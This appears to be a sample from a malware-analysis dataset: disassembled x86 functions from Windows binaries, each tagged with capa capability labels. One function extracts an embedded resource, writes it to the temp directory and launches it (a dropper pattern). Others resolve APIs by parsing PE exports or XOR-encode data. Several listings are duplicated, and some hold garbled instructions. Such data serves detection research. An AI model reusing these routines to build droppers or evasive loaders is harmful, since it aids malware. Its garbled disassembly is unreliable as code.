joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10029fac
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10029fce
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10029fce
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10029fce
ret
cmp word [ebx + 4], 0x14c
jne 0x10029fce
test word [ebx + 0x16], 2
je 0x10029fce
test word [ebx + 0x16], 0x100
je 0x10029fce
cmp word [ebx + 0x18], 0x10b
jne 0x10029fce
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10029fce
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x1002a05a
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10029fee
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.10010f39
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10029fce
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x1002a05a
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10029fce
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10029fce
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10029fce
ret
cmp word [ebx + 4], 0x14c
jne 0x10029fce
test word [ebx + 0x16], 2
je 0x10029fce
test word [ebx + 0x16], 0x100
je 0x10029fce
cmp word [ebx + 0x18], 0x10b
jne 0x10029fce
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10029fce
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x1002a05a
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10029fee
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.10010f39
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10029fce
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x1002a111
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1002a16a
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1002a111
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1002a120
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1042fdc3
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1002a171
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.10010fe7
cmp eax, dword [ebp + 0xc]
pop eax
je 0x1002a210
add edi, 4
add eax, 2
dec ecx
jne 0x1002a156
call 0x1002a1bd
loope 0x1002a1b3
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x1002a20d
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x1002a21e
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1002a1d1
cmp eax, ecx
ja 0x1002a1d1
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x1002a25b
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1002a251
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.100114c6
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x1002a120
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1002a16a
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1002a111
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1002a120
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1042fdc3
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1002a171
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.10010fe7
cmp eax, dword [ebp + 0xc]
pop eax
je 0x1002a210
add edi, 4
add eax, 2
dec ecx
jne 0x1002a156
call 0x1002a1bd
loope 0x1002a1b3
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x1002a20d
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x1002a21e
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1002a1d1
cmp eax, ecx
ja 0x1002a1d1
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x1002a25b
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1002a251
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.100114c6
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x401260
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push str.path
push ecx
lea eax, [ebp - 0x414]
push str._s_s
push eax
call fcn.004014f0
add esp, 0x10
lea eax, [ebp - 0x20c]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0
lea eax, [ebp - 0x20c]
push eax
push 0
push eax
call fcn.00405b03
push 0x104
lea eax, [ebp - 0x20c]
push str..._app
push eax
call fcn.00405d42
add esp, 0x20
lea eax, [ebp - 0x414]
push 0
push 0x80
push 2
push 0
push 1
push 2
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
lea ecx, [ebp - 0x20c]
mov dword [ebp - 0x418], 0
mov esi, eax
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401300
sub ecx, edx
lea eax, [ebp - 0x418]
push 0
push eax
sar ecx, 1
lea eax, [ebp - 0x20c]
add ecx, ecx
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00405af4
mov esp, ebp
pop ebp
ret
Function at 0x401340
Capabilities:
Create process on windows
Create process suspended
Extract resource via kernel32 functions
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x484
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x480], eax
push ebx
push esi
push edi
push 0x4175ac
push 0x65
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
xor eax, eax
push 0x206
push eax
mov word [esp + 0x80], ax
lea eax, [esp + 0x82]
push eax
call fcn.00409630
add esp, 0xc
lea eax, [esp + 0x78]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea ecx, [esp + 0x78]
call fcn.00401260
push 0x4175b4
lea eax, [esp + 0x7c]
push eax
lea eax, [esp + 0x288]
push str._s_s
push eax
call fcn.004014f0
add esp, 0x10
lea eax, [esp + 0x280]
push 0
push 0x80
push 2
push 0
push 1
push 2
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
mov esi, eax
mov dword [esp + 0x14], 0
lea eax, [esp + 0x14]
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0x78]
lea ecx, [esp + 0x280]
call section..text
push 0x4175bc
lea eax, [esp + 0x7c]
push eax
lea eax, [esp + 0x288]
push str._s_s
push eax
call fcn.004014f0
push 0x40
xorps xmm0, xmm0
mov dword [esp + 0x28], 0xc
lea eax, [esp + 0x48]
movq qword [esp + 0x2c], xmm0
push 0
push eax
mov dword [esp + 0x38], 1
mov dword [esp + 0x34], 0
call fcn.00409630
add esp, 0x1c
mov dword [esp + 0x30], 0x44
xor eax, eax
mov dword [esp + 0x5c], 1
mov word [esp + 0x60], ax
xorps xmm0, xmm0
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x34]
push eax
push 0
push 0
push 0
push 1
push 0
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x2a0]
push eax
push 0
movdqu xmmword [esp + 0x48], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov ecx, dword [esp + 0x48c]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00405af4
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4032e0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
test edx, edx
jne 0x4032eb
xor eax, eax
pop ebp
ret
push esi
mov esi, dword [ebp + 8]
not ecx
cmp esi, 8
jb 0x4033b5
push edi
mov edi, esi
shr edi, 3
movzx eax, byte [edx]
sub esi, 8
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x417860]
movzx eax, byte [edx + 1]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x417860]
movzx eax, byte [edx + 2]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x417860]
movzx eax, byte [edx + 3]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x417860]
movzx eax, byte [edx + 4]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x417860]
movzx eax, byte [edx + 5]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x417860]
movzx eax, byte [edx + 6]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x417860]
movzx eax, byte [edx + 7]
add edx, 8
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x417860]
dec edi
jne 0x403300
pop edi
test esi, esi
je 0x4033da
lea esp, [esp]
movzx eax, byte [edx]
lea edx, [edx + 1]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x417860]
dec esi
jne 0x4033c0
not ecx
mov eax, ecx
pop esi
pop ebp
ret

Function at 0x4033f0
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push esi
push edi
mov edi, ecx
movsx eax, dl
mov esi, dword [edi]
xor eax, esi
and eax, 0xff
shr esi, 8
mov eax, dword [eax*4 + 0x417860]
xor eax, esi
mov dword [edi], eax
movzx eax, al
add eax, dword [edi + 4]
imul ecx, eax, 0x8088405
mov eax, dword [edi + 8]
inc ecx
mov dword [edi + 4], ecx
shr ecx, 0x18
xor ecx, eax
shr eax, 8
and ecx, 0xff
xor eax, dword [ecx*4 + 0x417860]
mov dword [edi + 8], eax
pop edi
pop esi
ret

Function at 0x403440
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push ebx
push esi
mov bl, dl
mov edx, ecx
push edi
mov edi, dword [edx + 8]
mov esi, edi
mov ecx, dword [edx]
and esi, 0xfffd
or esi, 2
mov eax, esi
xor eax, 1
imul eax, esi
shr eax, 8
xor bl, al
movsx eax, bl
xor eax, ecx
shr ecx, 8
and eax, 0xff
mov eax, dword [eax*4 + 0x417860]
xor eax, ecx
mov dword [edx], eax
movzx eax, al
add eax, dword [edx + 4]
imul eax, eax, 0x8088405
inc eax
mov dword [edx + 4], eax
shr eax, 0x18
xor eax, edi
shr edi, 8
and eax, 0xff
xor edi, dword [eax*4 + 0x417860]
mov al, bl
mov dword [edx + 8], edi
pop edi
pop esi
pop ebx
ret
Function at 0x403c10
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov ebx, edx
mov esi, ebx
mov eax, ecx
imul esi, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp byte [edi], 0
je 0x403c53
push 0
lea ecx, [ebp + 8]
push ecx
push esi
push eax
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x403c45
mov byte [edi + 8], 1
mov eax, dword [ebp + 8]
xor edx, edx
pop edi
pop esi
div ebx
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [edi + 0x1c]
mov ecx, dword [edi + 0x18]
lea eax, [edx + esi]
cmp eax, ecx
jbe 0x403c64
mov esi, ecx
sub esi, edx
mov ecx, dword [edi + 0x14]
push esi
add ecx, edx
push ecx
push dword [ebp - 4]
call fcn.0040c0b0
add dword [edi + 0x1c], esi
add esp, 0xc
mov eax, esi
xor edx, edx
div ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403c90
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, ecx
mov ebx, edx
push edi
mov dword [ebp - 8], ebx
mov edi, 1
cmp byte [esi], 0
je 0x403ccb
push 0
lea eax, [ebp - 8]
push eax
push edi
lea eax, [ebp - 1]
push eax
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x403cc6
mov byte [esi + 8], 1
mov edi, dword [ebp - 8]
jmp 0x403cf8
mov ebx, dword [esi + 0x1c]
mov ecx, dword [esi + 0x18]
lea eax, [ebx + 1]
cmp eax, ecx
jbe 0x403cdc
mov edi, ecx
sub edi, ebx
mov eax, dword [esi + 0x14]
add eax, ebx
push edi
push eax
lea eax, [ebp - 1]
push eax
call fcn.0040c0b0
lea eax, [ebx + edi]
add esp, 0xc
mov ebx, dword [ebp - 8]
mov dword [esi + 0x1c], eax
cmp edi, 1
jne 0x403d0c
movzx eax, byte [ebp - 1]
mov dword [ebx], eax
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
cmp byte [esi], 0
je 0x403d03
cmp byte [esi + 8], 0
je 0x403d03
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403dd0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push edi
mov edi, ecx
mov ecx, dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp byte [edi], 0
je 0x403e05
cmp byte [edi + 1], 0
je 0x403dfd
push 2
push 0
push 0
push dword [edi + 4]
call ecx
mov ecx, dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x403e0b
or eax, 0xffffffff
pop edi
mov esp, ebp
pop ebp
ret
mov eax, dword [edi + 0x18]
mov dword [edi + 0x1c], eax
cmp byte [edi], 0
push ebx
je 0x403e30
cmp byte [edi + 1], 0
je 0x403e29
push 1
push 0
push 0
push dword [edi + 4]
call ecx
mov ebx, eax
sub ebx, dword [edi + 0xc]
jmp 0x403e33
xor ebx, ebx
mov dword [ebp - 0xc], ebx
jmp 0x403e42
mov ebx, dword [edi + 0x1c]
mov eax, 0xffff
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], eax
cmp ebx, eax
jae 0x403e45
mov dword [ebp - 8], ebx
push esi
push 0x404
call fcn.004060e0
mov esi, eax
add esp, 4
test esi, esi
jne 0x403e63
pop esi
pop ebx
or eax, 0xffffffff
pop edi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
mov eax, 4
mov dword [ebp - 4], 0xffffffff
cmp ecx, eax
jbe 0x403f68
lea ebx, [ebx]
add eax, 0x400
cmp eax, ecx
mov edx, eax
mov eax, 0x404
cmova edx, ecx
mov ecx, ebx
sub ecx, edx
mov dword [ebp - 0x1c], edx
sub ebx, ecx
mov dword [ebp - 0x18], ecx
cmp ebx, 0x404
cmova ebx, eax
cmp byte [edi], 0
je 0x403eca
cmp byte [edi + 1], 0
je 0x403f68
mov eax, dword [edi + 0xc]
push 0
push 0
add eax, ecx
push eax
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x403ecd
mov dword [edi + 0x1c], ecx
cmp byte [edi], 0
mov ecx, ebx
mov dword [ebp - 0x10], ebx
je 0x403ef5
push 0
lea eax, [ebp - 0x14]
push eax
push ebx
push esi
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x403ef0
mov byte [edi + 8], 1
mov eax, dword [ebp - 0x14]
jmp 0x403f1e
mov edx, dword [edi + 0x1c]
lea eax, [edx + ebx]
cmp eax, dword [edi + 0x18]
jbe 0x403f08
mov ecx, dword [edi + 0x18]
sub ecx, edx
mov dword [ebp - 0x10], ecx
push ecx
mov ecx, dword [edi + 0x14]
add ecx, edx
push ecx
push esi
call fcn.0040c0b0
mov eax, dword [ebp - 0x10]
add esp, 0xc
add dword [edi + 0x1c], eax
xor edx, edx
div ebx
cmp eax, 1
jne 0x403f68
lea eax, [ebx - 3]
test eax, eax
js 0x403f50
mov edi, edi
dec eax
cmp byte [eax + esi], 0x50
jne 0x403f4c
cmp byte [eax + esi + 1], 0x4b
jne 0x403f4c
cmp byte [eax + esi + 2], 5
jne 0x403f4c
cmp byte [eax + esi + 3], 6
je 0x403f7b
test eax, eax
jns 0x403f30
mov eax, dword [ebp - 4]
test eax, eax
jne 0x403f68
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 8]
mov ebx, dword [ebp - 0xc]
cmp eax, ecx
jb 0x403e80
push esi
call fcn.00406007
mov eax, dword [ebp - 4]
add esp, 4
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
add eax, dword [ebp - 0x18]
mov dword [ebp - 4], eax
jmp 0x403f53
Function at 0x404db0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
push edi
cmp dword [esi], 0
jne 0x404e57
cmp dword [esi + 4], 0xffffffff
jne 0x404e57
lea edi, [esi + 0x244]
push edi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ecx, edi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x404de2
sub ecx, edx
sar ecx, 1
movzx eax, word [esi + ecx*2 + 0x242]
cmp eax, 0x5c
je 0x404e19
cmp eax, 0x2f
je 0x404e19
add edi, 0xfffffffe
mov ax, word [edi + 2]
lea edi, [edi + 2]
test ax, ax
jne 0x404e06
mov eax, dword [0x4177e0]
mov dword [edi], eax
lea eax, [ebp - 4]
push eax
push ecx
mov ecx, dword [ebp + 8]
call fcn.00403b70
add esp, 8
test eax, eax
jne 0x404e38
mov eax, dword [ebp - 4]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0xc
mov ecx, eax
call fcn.00403f90
xor ecx, ecx
mov dword [esi], eax
test eax, eax
mov edx, 0x200
cmove ecx, edx
mov eax, ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0xc
pop edi
mov eax, 0x1000000
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x405570
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
mov ebx, edx
test esi, esi
je 0x4055a2
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x4055a2
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
movzx eax, word [ebx]
test ax, ax
je 0x40568c
push edi
mov edi, ebx
mov ecx, ebx
cmp ax, 0x2f
je 0x4055bf
cmp ax, 0x5c
jne 0x4055c1
mov edi, ecx
movzx eax, word [ecx + 2]
add ecx, 2
test ax, ax
jne 0x4055b3
cmp edi, ebx
je 0x40560a
sub edi, ebx
lea eax, [ebp - 0x414]
and edi, 0xfffffffe
push edi
push ebx
push eax
call fcn.0040c0b0
add esp, 0xc
cmp edi, 0x208
jae 0x40569c
xor eax, eax
lea edx, [ebp - 0x414]
mov ecx, esi
mov word [ebp + edi - 0x414], ax
call fcn.00405570
xor eax, eax
mov word [ebp - 0x20c], ax
test esi, esi
je 0x405630
lea ecx, [ebp - 0x20c]
sub ecx, esi
nop
movzx eax, word [esi]
lea esi, [esi + 2]
mov word [ecx + esi - 2], ax
test ax, ax
jne 0x405620
mov esi, ebx
mov ax, word [ebx]
add ebx, 2
test ax, ax
jne 0x405632
lea edi, [ebp - 0x20c]
sub ebx, esi
add edi, 0xfffffffe
jmp 0x405650
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x405650
mov ecx, ebx
lea eax, [ebp - 0x20c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
pop edi
cmp eax, 0xffffffff
jne 0x40568c
push 0
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00405af4
mov esp, ebp
pop ebp
ret
call fcn.0040653d
int3
Function at 0x40bd6a
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.004084c0
mov dword [ebp - 0x14], eax
cmp dword [0x41bf80], esi
jne 0x40be5d
push 0x800
push esi
push 0x414474
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40bdea
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40bf3d
push esi
push esi
push 0x414474
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40bf3d
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40bf3d
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x41bf80], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x41bf84], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x41bf88], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41bf90], eax
test eax, eax
je 0x40be5a
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41bf8c], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40be82
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40be75
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40be97
push 4
pop eax
jmp 0x40bf3f
cmp dword [ebp - 0x14], esi
je 0x40be97
push dword [0x41bf80]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40be7c
mov eax, dword [0x41bf8c]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40bef5
cmp dword [0x41bf90], edi
je 0x40bef5
push eax
call ebx
push dword [0x41bf90]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40bef5
test eax, eax
je 0x40bef5
call ecx
test eax, eax
je 0x40beea
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40beea
test byte [ebp - 8], 1
jne 0x40bef5
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40bf25
mov eax, dword [0x41bf84]
cmp eax, edi
je 0x40bf22
push eax
call ebx
test eax, eax
je 0x40bf22
call eax
mov esi, eax
test esi, esi
je 0x40bf22
mov eax, dword [0x41bf88]
cmp eax, edi
je 0x40bf22
push eax
call ebx
test eax, eax
je 0x40bf22
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x41bf80]
call ebx
test eax, eax
je 0x40bf3d
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40bf3f
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405af4
mov esp, ebp
pop ebp
ret